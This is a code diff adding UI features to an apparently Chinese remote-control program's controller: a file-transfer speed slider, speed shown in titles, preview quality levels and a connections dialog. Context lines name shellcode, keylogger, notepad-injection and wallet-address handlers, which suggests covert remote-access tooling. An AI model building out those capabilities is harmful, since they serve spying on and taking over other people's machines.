+    void LoadPreviewProfilesFromCfg();                    // 从 THIS_CFG 读到 m_PreviewProfiles（缺省回落 GetScreenPreviewProfile）
+    void SavePreviewProfilesToCfg() const;                // m_PreviewProfiles 落盘到 THIS_CFG
+    const PreviewProfile& GetPreviewProfileCfg(int level) const;  // 供 ChooseScreenPreviewParams 用
+    void OnPreviewLevels();                               // 高级→屏幕预览质量等级
+
+    // ===== 文件传输速度配置（[transfer] 节，ChunkKb / DurationMs） =====
+    // 主控端 UI 偏好，持久化走 THIS_CFG。上传方向读 THIS_CFG（重启主控端生效）；
+    // 下载方向随 MasterSettings 下发（新连接登录即收到，改档后立即推送给在线客户端）。
+    void OnFileTransferSpeed();          // 高级→文件传输速度
     void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
     void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
     void ClearThumbnailCacheEntry(uint64_t clientID);
@@ -406,7 +441,7 @@ public:
     bool IsDllRequestLimited(const std::string& ip);
     void RecordDllRequest(const std::string& ip);
     CMenu	   m_MainMenu;
-    CBitmap m_bmOnline[66];
+    CBitmap m_bmOnline[69];
     uint64_t m_superID;
     std::map<HWND, CDialogBase *> m_RemoteWnds;
     FileTransformCmd m_CmdList;
@@ -491,6 +526,11 @@ public:
     // 由 m_cs 保护。
     std::map<uint64_t, std::wstring> m_ActiveWndW;
     afx_msg void OnOnlineMessage();
+    afx_msg void OnChat();
+    afx_msg void OnMachineManager();
+    afx_msg void OnExperimentFileManager();
+    afx_msg void OnExperimentPrivateScreen();
+    afx_msg void OnExperimentDrawingBoard();
     afx_msg void OnOnlineDelete();
     afx_msg void OnOnlineUpdate();
     afx_msg void OnAbout();
@@ -621,6 +661,7 @@ public:
     afx_msg void OnToolPluginSettings();
     afx_msg void OnTriggerSettings();
     void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
+    void ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx);
     afx_msg void OnShellcodeAesCArray();
     afx_msg void OnParamKblogger();
     afx_msg void OnOnlineInjNotepad();
@@ -655,6 +696,7 @@ public:
     afx_msg void OnCancelShare();
     afx_msg void OnWebRemoteControl();
     afx_msg void OnMcpSettings();
+    afx_msg void OnConnectionManage();
     afx_msg void OnProxyPortAutorun();
     afx_msg void OnScreenpreviewLoop();
     afx_msg void OnMenuCompress();
@@ -669,5 +711,6 @@ public:
     afx_msg void OnOnlineClientLog();
     afx_msg void OnOnlineHistoryActivity();
     afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
+    afx_msg LRESULT OnOpenConnectionDialog(WPARAM wParam, LPARAM lParam);
     afx_msg void OnOnlineForbidden();
 };

server/2015Remote/2015Remote_vs2015.vcxproj

@@ -266,6 +266,7 @@
     <None Include="res\Cur\MutiDrag.cur" />
     <None Include="res\My2015Remote.rc2" />
     <None Include="res\web\fit.min.js" />
+    <None Include="res\web\opus-decoder.min.js" />
     <None Include="res\web\xterm.css" />
     <None Include="res\web\xterm.min.js" />
     <None Include="stub2\stub32.bin" />
@@ -334,6 +335,7 @@
     <ClInclude Include="NotifySettingsDlg.h" />
     <ClInclude Include="FeatureLimitsDlg.h" />
     <ClInclude Include="FrpsForSubDlg.h" />
+    <ClInclude Include="ShareHostDlg.h" />
     <ClInclude Include="PluginSettingsDlg.h" />
     <ClInclude Include="PreviewTipWnd.h" />
     <ClInclude Include="TriggerSettingsDlg.h" />
@@ -349,6 +351,7 @@
     <ClInclude Include="SearchBarDlg.h" />
     <ClInclude Include="Server.h" />
     <ClInclude Include="ServicesDlg.h" />
+    <ClInclude Include="ConnectionsDlg.h" />
     <ClInclude Include="SettingDlg.h" />
     <ClInclude Include="ShellDlg.h" />
     <ClInclude Include="TerminalDlg.h" />
@@ -462,6 +465,7 @@
     <ClCompile Include="NotifySettingsDlg.cpp" />
     <ClCompile Include="FeatureLimitsDlg.cpp" />
     <ClCompile Include="FrpsForSubDlg.cpp" />
+    <ClCompile Include="ShareHostDlg.cpp" />
     <ClCompile Include="Loader.c">
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
@@ -481,6 +485,7 @@
     <ClCompile Include="ScreenSpyDlg.cpp" />
     <ClCompile Include="SearchBarDlg.cpp" />
     <ClCompile Include="ServicesDlg.cpp" />
+    <ClCompile Include="ConnectionsDlg.cpp" />
     <ClCompile Include="SettingDlg.cpp" />
     <ClCompile Include="ShellDlg.cpp" />
     <ClCompile Include="TerminalDlg.cpp" />
@@ -521,6 +526,8 @@
     <Image Include="res\Bitmap\BrowseWnd.bmp" />
     <Image Include="res\Bitmap\CancelShare.bmp" />
     <Image Include="res\Bitmap\ClientLog.bmp" />
+    <Image Include="res\Bitmap\DrawingBoard.bmp" />
+    <Image Include="res\Bitmap\FileManager.bmp" />
     <Image Include="res\Bitmap\Forbidden.bmp" />
     <Image Include="res\bitmap\compress.bmp" />
     <Image Include="res\Bitmap\Copy.bmp" />
@@ -556,6 +563,7 @@
     <Image Include="res\Bitmap\PluginConfig.bmp" />
     <Image Include="res\Bitmap\PortProxyAuto.bmp" />
     <Image Include="res\Bitmap\PortProxyStd.bmp" />
+    <Image Include="res\Bitmap\PrivacyShield.bmp" />
     <Image Include="res\Bitmap\PrivateScreen.bmp" />
     <Image Include="res\Bitmap\proxy.bmp" />
     <Image Include="res\Bitmap\Reboot.bmp" />
@@ -580,6 +588,7 @@
     <Image Include="res\chat.ico" />
     <Image Include="res\ClientLog.ico" />
     <Image Include="res\cmdshell.ico" />
+    <Image Include="res\connections.ico" />
     <Image Include="res\decrypt.ico" />
     <Image Include="res\DrawingBoard.ico" />
     <Image Include="res\dword.ico" />

server/2015Remote/2015Remote_vs2015.vcxproj.filters

@@ -29,6 +29,7 @@
     <ClCompile Include="RegisterDlg.cpp" />
     <ClCompile Include="ScreenSpyDlg.cpp" />
     <ClCompile Include="ServicesDlg.cpp" />
+    <ClCompile Include="ConnectionsDlg.cpp" />
     <ClCompile Include="SettingDlg.cpp" />
     <ClCompile Include="ShellDlg.cpp" />
     <ClCompile Include="TerminalDlg.cpp" />
@@ -76,6 +77,7 @@
     <ClCompile Include="NotifyManager.cpp" />
     <ClCompile Include="NotifySettingsDlg.cpp" />
     <ClCompile Include="FrpsForSubDlg.cpp" />
+    <ClCompile Include="ShareHostDlg.cpp" />
     <ClCompile Include="NetworkDlg.cpp" />
     <ClCompile Include="IPHistoryDlg.cpp" />
     <ClCompile Include="FeatureLimitsDlg.cpp" />
@@ -127,6 +129,7 @@
     <ClInclude Include="Resource.h" />
     <ClInclude Include="ScreenSpyDlg.h" />
     <ClInclude Include="ServicesDlg.h" />
+    <ClInclude Include="ConnectionsDlg.h" />
     <ClInclude Include="SettingDlg.h" />
     <ClInclude Include="ShellDlg.h" />
     <ClInclude Include="TerminalDlg.h" />
@@ -181,6 +184,7 @@
     <ClInclude Include="NotifyManager.h" />
     <ClInclude Include="NotifySettingsDlg.h" />
     <ClInclude Include="FrpsForSubDlg.h" />
+    <ClInclude Include="ShareHostDlg.h" />
     <ClInclude Include="TerminalModuleLoader.h" />
     <ClInclude Include="..\..\common\SafeString.h" />
     <ClInclude Include="NetworkDlg.h" />
@@ -230,6 +234,7 @@
     <None Include="res\web\xterm.min.js" />
     <None Include="res\web\xterm.css" />
     <None Include="res\web\fit.min.js" />
+    <None Include="res\web\opus-decoder.min.js" />
     <None Include="..\web\index.html" />
     <None Include="stub2\stub32.bin" />
     <None Include="stub2\stub64.bin" />
@@ -262,6 +267,7 @@
     <Image Include="res\screen.ico" />
     <Image Include="res\machine.ico" />
     <Image Include="res\system.ico" />
+    <Image Include="res\connections.ico" />
     <Image Include="res\chat.ico" />
     <Image Include="res\decrypt.ico" />
     <Image Include="res\file\FILE.ico" />
@@ -346,5 +352,8 @@
     <Image Include="res\Bitmap\HistoryActivity.bmp" />
     <Image Include="res\Bitmap\BrowseWnd.bmp" />
     <Image Include="res\Bitmap\PortProxyAuto.bmp" />
+    <Image Include="res\Bitmap\FileManager.bmp" />
+    <Image Include="res\Bitmap\PrivacyShield.bmp" />
+    <Image Include="res\Bitmap\DrawingBoard.bmp" />
   </ItemGroup>
 </Project>

server/2015Remote/BuildDlg.cpp

@@ -217,7 +217,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
     , m_strPort(_T(""))
     , m_strFindden(FLAG_FINDEN)
     , m_sGroupName(_T("default"))
-    , m_strEncryptIP(_T("是"))
+    , m_strEncryptIP(_L(_T("是")))
     , m_sInstallDir(_T(""))
     , m_sInstallName(_T(""))
     , m_sDownloadUrl(_T(""))

server/2015Remote/CClientListDlg.cpp

@@ -5,6 +5,7 @@
 #include "afxdialogex.h"
 #include "CClientListDlg.h"
 #include "2015Remote.h"
+#include <string>
 
 
 // CClientListDlg 对话框
@@ -93,6 +94,27 @@ static CString GetFieldValue(const ClientValue& val, GroupField field)
     }
 }
 
+// 程序路径与地理位置均以 UTF-8 存储（见 AddList / client 的 RES_FILE_PATH、RES_CLIENT_LOC），
+// 这里用 LVM_SETITEMTEXTW 直接写宽字符串，绕开 ANSI→CP_ACP 回转，
+// 即使服务端运行在非中文 ACP（如德语）上，中文/带变音符的文本也能正常显示（与窗口/进程管理同法）。
+static void SetUtf8ItemText(CListCtrl& list, int iItem, int iSubItem, const char* sz)
+{
+    std::wstring w;
+    if (sz && sz[0]) {
+        int wlen = MultiByteToWideChar(CP_UTF8, 0, sz, -1, NULL, 0);
+        if (wlen > 1) {
+            w.resize(wlen - 1);
+            MultiByteToWideChar(CP_UTF8, 0, sz, -1, &w[0], wlen);
+        }
+    }
+    LVITEMW lv = {};
+    lv.mask = LVIF_TEXT;
+    lv.iItem = iItem;
+    lv.iSubItem = iSubItem;
+    lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
+    ::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
+}
+
 // 比较两个客户端的指定列，返回 <0, 0, >0
 static int CompareClientByColumn(const std::pair<ClientKey, ClientValue>& a,
                                  const std::pair<ClientKey, ClientValue>& b,
@@ -294,12 +316,12 @@ void CClientListDlg::DisplayClients()
             m_ClientList.SetItemText(nItem, COL_ID, strID);
             m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
             m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
-            m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location);
+            SetUtf8ItemText(m_ClientList, nItem, COL_LOCATION, val.Location);
             m_ClientList.SetItemText(nItem, COL_IP, val.IP);
             m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
             m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
             m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
-            m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath));
+            SetUtf8ItemText(m_ClientList, nItem, COL_PROGRAM_PATH, val.ProgramPath);
             m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
             m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
             m_ClientList.SetItemData(nItem, (DWORD_PTR)key);
@@ -346,12 +368,12 @@ void CClientListDlg::DisplayClients()
                     m_ClientList.SetItemText(nItem, COL_ID, strID);
                     m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
                     m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
-                    m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location);
+                    SetUtf8ItemText(m_ClientList, nItem, COL_LOCATION, val.Location);
                     m_ClientList.SetItemText(nItem, COL_IP, val.IP);
                     m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
                     m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
                     m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
-                    m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath));
+                    SetUtf8ItemText(m_ClientList, nItem, COL_PROGRAM_PATH, val.ProgramPath);
                     m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
                     m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
                     m_ClientList.SetItemData(nItem, (DWORD_PTR)key);

server/2015Remote/CDlgFileSend.cpp

@@ -151,6 +151,54 @@ void CDlgFileSend::UpdateProgress(CString file, const FileProgressInfo& info)
     PostMessageA(WM_UPDATEFILEPROGRESS, (WPARAM)new CString(file), (LPARAM)new FileProgressInfo(info));
 }
 
+// 将字节/秒格式化为人类可读的速度串（如 "5.3M/s"、"320K/s"、"800B/s"）
+static CStringW FormatSpeed(double bps)
+{
+    CStringW s;
+    if (bps >= 1024.0 * 1024.0)
+        s.Format(L"%.1fM/s", bps / (1024.0 * 1024.0));
+    else if (bps >= 1024.0)
+        s.Format(L"%.0fK/s", bps / 1024.0);
+    else
+        s.Format(L"%.0fB/s", bps);
+    return s;
+}
+
+// 累计字节并周期性刷新标题中的速度（如 "发送文件 - 5.3M/s"）
+void CDlgFileSend::UpdateTitleWithSpeed(uint64_t dataLength)
+{
+    m_ullTotalBytes += dataLength;
+    ULONGLONG now = GetTickCount64();
+
+    // 首帧：用 Unicode API 捕获当前标题作为基础部分（可能已被 V2/C2C 覆盖为 "接收文件 (V2)" 等），
+    // 并建立采样基准；此时尚无速度可显示。
+    if (!m_bBaseTitleCaptured) {
+        WCHAR wBase[128] = { 0 };
+        ::GetWindowTextW(m_hWnd, wBase, 128);
+        m_strBaseTitle = wBase;
+        m_bBaseTitleCaptured = true;
+        m_ullLastTick = now;
+        m_ullLastBytes = m_ullTotalBytes;
+        return;
+    }
+
+    ULONGLONG dt = now - m_ullLastTick;
+    if (dt < 200) return;  // 采样间隔未到，仅累积字节
+
+    uint64_t delta = m_ullTotalBytes - m_ullLastBytes;
+    double speed = dt ? (double)delta * 1000.0 / (double)dt : 0.0;
+    m_dSpeedBps = (m_dSpeedBps == 0.0) ? speed : m_dSpeedBps * 0.6 + speed * 0.4;  // 轻度平滑
+
+    m_ullLastTick = now;
+    m_ullLastBytes = m_ullTotalBytes;
+
+    // 基础标题（Unicode）+ ASCII 速度后缀，全程 Unicode API，避免非中文系统上 ANSI 消息按系统 ACP 解码乱码
+    CStringW title = m_strBaseTitle;
+    title += L" - ";
+    title += FormatSpeed(m_dSpeedBps);
+    ::SetWindowTextW(m_hWnd, title);
+}
+
 void CDlgFileSend::FinishFileSend(BOOL succeed)
 {
     if (!GetSafeHwnd()) return;
@@ -170,6 +218,7 @@ LRESULT CDlgFileSend::OnUpdateFileProgress(WPARAM wParam, LPARAM lParam)
     SetDlgItemText(IDC_STATIC_CURRENTINDEX, status);
     SetDlgItemText(IDC_STATIC_CURRENT_FILE, *pFile);
     m_Progress.SetPos((int)percent);
+    UpdateTitleWithSpeed(pInfo->dataLength);
 
     // 只在第一次显示时置顶，后续更新不抢焦点
     if (!IsWindowVisible()) {

server/2015Remote/CDlgFileSend.h

@@ -51,6 +51,14 @@ public:
     BOOL m_bTargetOffline = FALSE;   // C2C目标已离线，已发送取消包
     enum { IDD = IDD_DIALOG_FILESEND };
 
+    // 传输速度统计（用于标题实时显示速度，如 "发送文件 - 5.3M/s"）
+    CStringW  m_strBaseTitle;               // 标题基础部分（"发送文件"/"接收文件 (V2)" 等，Unicode），首帧进度时捕获
+    bool      m_bBaseTitleCaptured = false;
+    uint64_t  m_ullTotalBytes = 0;          // 累计传输字节
+    uint64_t  m_ullLastBytes = 0;
+    ULONGLONG m_ullLastTick = 0;            // 上次速度采样时刻 (ms)
+    double    m_dSpeedBps = 0.0;            // 平滑后的速度 (B/s)
+
 protected:
     virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV 支持
 
@@ -59,6 +67,8 @@ protected:
     afx_msg LRESULT OnUpdateFileProgress(WPARAM wParam, LPARAM lParam);
     afx_msg LRESULT OnFinishFileSend(WPARAM wParam, LPARAM lParam);
 
+    void UpdateTitleWithSpeed(uint64_t dataLength);  // 累计字节并周期性刷新标题速度
+
 public:
     CProgressCtrl m_Progress;
     virtual BOOL OnInitDialog();

server/2015Remote/CFileSpeedDlg.h

@@ -0,0 +1,133 @@
+// CFileSpeedDlg.h
+// 文件传输速度调节对话框：拖动滑块选档位，实时显示预估速度。
+// 纯主控端 UI 偏好，持久化由 CMy2015RemoteDlg::OnFileTransferSpeed() 负责。
+// 仅在 2015RemoteDlg.cpp 中 include 一次（头文件内联实现 + 消息映射，勿多处包含）。
+#pragma once
+
+#include "LangManager.h"
+#include <afxcmn.h>
+
+// 档位表（权威来源：docs/FileTransferSpeed_Design.md §3）。
+// chunkKb * 1024 / durationMs 即理论字节/秒；durationMs==0 表示不人为限速。
+struct FileSpeedTier { int chunkKb; int durMs; const TCHAR* name; };
+
+static const FileSpeedTier kFileSpeedTiers[] = {
+    {   64, 200, _T("最慢")   },   // ≈0.31 MB/s
+    {   64, 100, _T("慢")     },   // ≈0.63 MB/s
+    {   64,  50, _T("默认")   },   // ≈1.25 MB/s
+    {  128,  50, _T("快")     },   // ≈2.5  MB/s
+    {  256,  50, _T("更快")   },   // ≈5    MB/s
+    {  512,  50, _T("很快")   },   // ≈10   MB/s
+    { 1024,   0, _T("不限速") },   // 网络上限
+};
+#define FILE_SPEED_TIER_COUNT 7
+#define FILE_SPEED_DEFAULT_TIER 2   // 默认档位
+
+class CFileSpeedDlg : public CDialog
+{
+public:
+    enum { IDD = IDD_FILE_SPEED };
+
+    CFileSpeedDlg(int chunkKb, int durMs, CWnd* pParent = NULL)
+        : CDialog(CFileSpeedDlg::IDD, pParent), m_chunkKb(chunkKb), m_durMs(durMs)
+    {
+    }
+
+    int GetChunkKb() const { return m_chunkKb; }
+    int GetDurMs()   const { return m_durMs; }
+
+protected:
+    int m_chunkKb;
+    int m_durMs;
+
+    static int TierIndexFor(int chunkKb, int durMs)
+    {
+        for (int i = 0; i < FILE_SPEED_TIER_COUNT; i++)
+            if (kFileSpeedTiers[i].chunkKb == chunkKb && kFileSpeedTiers[i].durMs == durMs)
+                return i;
+        return FILE_SPEED_DEFAULT_TIER;   // 未知值回落默认
+    }
+
+    static void FormatSpeed(int idx, CString& out)
+    {
+        const FileSpeedTier& t = kFileSpeedTiers[idx];
+        // 档位名与格式串经 _TR/_LF 走多语言表（LangManager），语言文件以中文原文为 key。
+        if (t.durMs <= 0) {
+            out.FormatL(_T("%s · 不受限速（受网络带宽约束）"), _LF(t.name));
+            return;
+        }
+        double mbps = (double)t.chunkKb * 1024.0 / (t.durMs / 1000.0) / (1024.0 * 1024.0);
+        out.FormatL(_T("%s · 约 %.2f MB/s"), _LF(t.name), mbps);
+    }
+
+    int GetSliderPos()
+    {
+        int pos = (int)SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_GETPOS, 0, 0);
+        if (pos < 0)                          pos = 0;
+        if (pos >= FILE_SPEED_TIER_COUNT)     pos = FILE_SPEED_TIER_COUNT - 1;
+        return pos;
+    }
+
+    void UpdateLabel()
+    {
+        CString s;
+        FormatSpeed(GetSliderPos(), s);
+        SetDlgItemText(IDC_FSPEED_LABEL, s);
+    }
+
+    virtual BOOL OnInitDialog() override
+    {
+        CDialog::OnInitDialog();
+
+        // 非中文系统上 MBCS 对话框模板的中文会被系统 ACP 转成 "?"，TranslateDialog
+        // 拿到的是已乱码文本无法还原，故在此显式设置（参照 NotifySettingsDlg）。
+        // 均经 _TR 支持多语言翻译。
+        SetWindowText(_TR("文件传输速度"));
+        SetDlgItemText(IDC_FSPEED_HINT,            _TR("拖动滑块设置文件传输速度："));
+        SetDlgItemText(IDC_FSPEED_LABEL_SLOWEST,   _TR("最慢"));
+        SetDlgItemText(IDC_FSPEED_LABEL_DEFAULT,   _TR("默认"));
+        SetDlgItemText(IDC_FSPEED_LABEL_UNLIMITED, _TR("不限速"));
+        SetDlgItemText(IDC_FSPEED_RESET, _TR("恢复默认"));
+        SetDlgItemText(IDOK,              _TR("确定"));
+        SetDlgItemText(IDCANCEL,          _TR("取消"));
+
+        SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETRANGE, TRUE,
+                           MAKELONG(0, FILE_SPEED_TIER_COUNT - 1));
+        SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPAGESIZE, 0, 1);
+        SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETTICFREQ, 0, 1);
+        SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, TierIndexFor(m_chunkKb, m_durMs));
+
+        UpdateLabel();
+        return TRUE;
+    }
+
+    virtual void OnOK() override
+    {
+        int idx = GetSliderPos();
+        m_chunkKb = kFileSpeedTiers[idx].chunkKb;
+        m_durMs   = kFileSpeedTiers[idx].durMs;
+        CDialog::OnOK();
+    }
+
+    afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
+    {
+        (void)nSBCode; (void)nPos; (void)pScrollBar;
+        UpdateLabel();   // 拖动过程中实时刷新预估速度
+    }
+
+    virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
+    {
+        if (LOWORD(wParam) == IDC_FSPEED_RESET && HIWORD(wParam) == BN_CLICKED) {
+            SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, FILE_SPEED_DEFAULT_TIER);
+            UpdateLabel();
+            return TRUE;
+        }
+        return CDialog::OnCommand(wParam, lParam);
+    }
+
+    DECLARE_MESSAGE_MAP()
+};
+
+BEGIN_MESSAGE_MAP(CFileSpeedDlg, CDialog)
+    ON_WM_HSCROLL()
+END_MESSAGE_MAP()

server/2015Remote/CIconButton.cpp

@@ -551,6 +551,18 @@ void CIconButton::DrawIconLetterZ(CDC* pDC, const CRect& rc)
     DrawLetterIcon(pDC, rc, _T("Z"));
 }
 
+// Letter C icon (获取剪贴板)
+void CIconButton::DrawIconLetterC(CDC* pDC, const CRect& rc)
+{
+    DrawLetterIcon(pDC, rc, _T("C"));
+}
+
+// Letter P icon (设置剪贴板)
+void CIconButton::DrawIconLetterP(CDC* pDC, const CRect& rc)
+{
+    DrawLetterIcon(pDC, rc, _T("P"));
+}
+
 // Audio On: speaker with sound waves
 void CIconButton::DrawIconAudioOn(CDC* pDC, const CRect& rc)
 {

server/2015Remote/CIconButton.h

@@ -46,6 +46,8 @@ public:
     static void DrawIconLetterX(CDC* pDC, const CRect& rc);  // 字母 X 图标
     static void DrawIconLetterY(CDC* pDC, const CRect& rc);  // 字母 Y 图标
     static void DrawIconLetterZ(CDC* pDC, const CRect& rc);  // 字母 Z 图标
+    static void DrawIconLetterC(CDC* pDC, const CRect& rc);  // 字母 C 图标 (获取剪贴板)
+    static void DrawIconLetterP(CDC* pDC, const CRect& rc);  // 字母 P 图标 (设置剪贴板)
     static void DrawIconAudioOn(CDC* pDC, const CRect& rc);  // 音频开启图标 (喇叭+声波)
     static void DrawIconAudioOff(CDC* pDC, const CRect& rc); // 音频关闭图标 (喇叭+斜线)
 

server/2015Remote/CPasswordDlg.cpp

@@ -250,7 +250,7 @@ bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string&
 }
 
 // IP 列表管理常量
-#define MAX_IP_HISTORY 500  // 最多保留 几 个不同的 IP
+#define MAX_IP_HISTORY 1000  // 最多保留 几 个不同的 IP
 
 // 解析 IP 列表字符串为 vector<pair<IP, 时间戳>>
 // 格式: "192.168.1.1|260218, 10.0.0.1|260215" (yyMMdd)

server/2015Remote/CPreviewLevelsDlg.h

@@ -0,0 +1,139 @@
+// CPreviewLevelsDlg.h
+// 屏幕预览质量等级配置对话框：编辑 6 档 PreviewProfile（编码宽度 / JPEG 质量）。
+// 纯主控端 UI 偏好，持久化由 CMy2015RemoteDlg::SavePreviewProfilesToCfg() 负责。
+// 仅在 2015RemoteDlg.cpp 中 include 一次（头文件内联实现，勿多处包含）。
+#pragma once
+
+#include "LangManager.h"
+
+class CPreviewLevelsDlg : public CDialog
+{
+public:
+    enum { IDD = IDD_PREVIEW_LEVELS };
+
+    // profiles: 指向 6 元素 PreviewProfile 数组，确认后写回
+    CPreviewLevelsDlg(PreviewProfile* profiles, CWnd* pParent = NULL)
+        : CDialog(CPreviewLevelsDlg::IDD, pParent), m_profiles(profiles)
+    {
+    }
+
+protected:
+    PreviewProfile* m_profiles;
+    PreviewProfile  m_working[QUALITY_COUNT];
+
+    static const char* LevelName(int i)
+    {
+        static const char* names[QUALITY_COUNT] = {
+            "Ultra", "High", "Good", "Medium", "Low", "Minimal"
+        };
+        return (i >= 0 && i < QUALITY_COUNT) ? names[i] : "?";
+    }
+
+    void LoadToControls()
+    {
+        CString s;
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            s.Format(_T("%d"), m_working[i].maxWidth);
+            SetDlgItemText(IDC_PLEVEL_WIDTH + i, s);
+            s.Format(_T("%d"), m_working[i].jpegQuality);
+            SetDlgItemText(IDC_PLEVEL_QUALITY + i, s);
+        }
+    }
+
+    bool ReadInt(int id, int& out)
+    {
+        CString s;
+        GetDlgItemText(id, s);
+        s.Trim();
+        if (s.IsEmpty()) return false;
+
+        int v = 0;
+        for (int k = 0; k < s.GetLength(); k++) {
+            TCHAR ch = s[k];
+            if (ch < _T('0') || ch > _T('9')) return false;
+            v = v * 10 + (ch - _T('0'));
+        }
+        out = v;
+        return true;
+    }
+
+    bool ReadFromControls(CString& err)
+    {
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            int w, q;
+            if (!ReadInt(IDC_PLEVEL_WIDTH + i, w))
+            { err.Format(_T("等级 %s 的最大宽度不是有效数字"), LevelName(i)); return false; }
+            if (!ReadInt(IDC_PLEVEL_QUALITY + i, q))
+            { err.Format(_T("等级 %s 的 JPEG 质量不是有效数字"), LevelName(i)); return false; }
+
+            if (w < 64 || w > 2560)
+            { err.Format(_T("等级 %s 的最大宽度需在 64~2560 之间"), LevelName(i)); return false; }
+            if (q < 1 || q > 100)
+            { err.Format(_T("等级 %s 的 JPEG 质量需在 1~100 之间"), LevelName(i)); return false; }
+
+            m_working[i].maxWidth    = w;
+            m_working[i].jpegQuality = q;
+        }
+        return true;
+    }
+
+    void ResetToDefaults()
+    {
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            m_working[i] = GetScreenPreviewProfile(i);
+        }
+        LoadToControls();
+    }
+
+    virtual BOOL OnInitDialog() override
+    {
+        CDialog::OnInitDialog();
+
+        // 非中文系统上 MBCS 对话框模板的中文会被系统 ACP 转成 "?"，TranslateDialog
+        // 拿到的是已乱码文本无法还原，故在此显式设置（参照 NotifySettingsDlg）。
+        // 均经 _TR/_L 支持多语言翻译。
+        SetWindowText(_TR("屏幕预览质量等级"));
+        SetDlgItemText(IDC_PLEVEL_LABEL_LEVEL,   _TR("等级"));
+        SetDlgItemText(IDC_PLEVEL_LABEL_WIDTH,   _TR("最大宽度"));
+        SetDlgItemText(IDC_PLEVEL_LABEL_QUALITY, _TR("JPEG质量"));
+        static const TCHAR* kLevelNames[QUALITY_COUNT] = {
+            _T("Ultra 极佳"), _T("High 优秀"), _T("Good 良好"),
+            _T("Medium 一般"), _T("Low 较差"), _T("Minimal 最低")
+        };
+        for (int i = 0; i < QUALITY_COUNT; i++)
+            SetDlgItemText(IDC_PLEVEL_LABEL_LEVEL0 + i, _L(kLevelNames[i]));
+        SetDlgItemText(IDC_PLEVEL_LABEL_HINT,
+            _TR("最大宽度为期望编码宽度；JPEG 质量 1~100"));
+        SetDlgItemText(IDC_PLEVEL_RESET, _TR("恢复默认"));
+        SetDlgItemText(IDOK,              _TR("确定"));
+        SetDlgItemText(IDCANCEL,          _TR("取消"));
+
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            m_working[i] = m_profiles[i];
+        }
+        LoadToControls();
+        return TRUE;
+    }
+
+    virtual void OnOK() override
+    {
+        CString err;
+        if (!ReadFromControls(err)) {
+            MessageBox(err, _TR("提示"), MB_ICONWARNING);
+            return;
+        }
+        for (int i = 0; i < QUALITY_COUNT; i++) {
+            m_profiles[i] = m_working[i];
+        }
+        CDialog::OnOK();
+    }
+
+    virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
+    {
+        if (LOWORD(wParam) == IDC_PLEVEL_RESET && HIWORD(wParam) == BN_CLICKED) {
+            ResetToDefaults();
+            return TRUE;
+        }
+        return CDialog::OnCommand(wParam, lParam);
+    }
+};

server/2015Remote/CWalletDlg.cpp

@@ -107,7 +107,7 @@ void CWalletDlg::OnOK()
         if (a[i].IsEmpty()) continue;
         if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) {
             char tip[100];
-            sprintf(tip, "第 %d 个钱包地址不合法!", i + 1);
+            sprintf(tip, _TRF("第 %d 个钱包地址不合法!"), i + 1);
             MessageBoxL(CString(tip), "提示", MB_ICONINFORMATION);
             return;
         }

server/2015Remote/ConnectionsDlg.cpp

@@ -0,0 +1,305 @@
+// ConnectionsDlg.cpp : 实现文件
+//
+
+#include "stdafx.h"
+#include "2015Remote.h"
+#include "ConnectionsDlg.h"
+#include "afxdialogex.h"
+#include <ws2tcpip.h>
+#include <utility>
+
+
+// CConnectionsDlg 对话框
+
+IMPLEMENT_DYNAMIC(CConnectionsDlg, CDialog)
+
+// 连接记录排序辅助：保存完整 ConnectionInfo（供右键强断）与各列排序键。
+// 数字列零填充、地址列转定宽十六进制，保证字符串比较即得正确数值顺序。
+typedef struct ConnItemData {
+    ConnectionInfo info;
+    CString key[8];
+    CString GetKey(int index) const { return key[index]; }
+} ConnItemData;
+
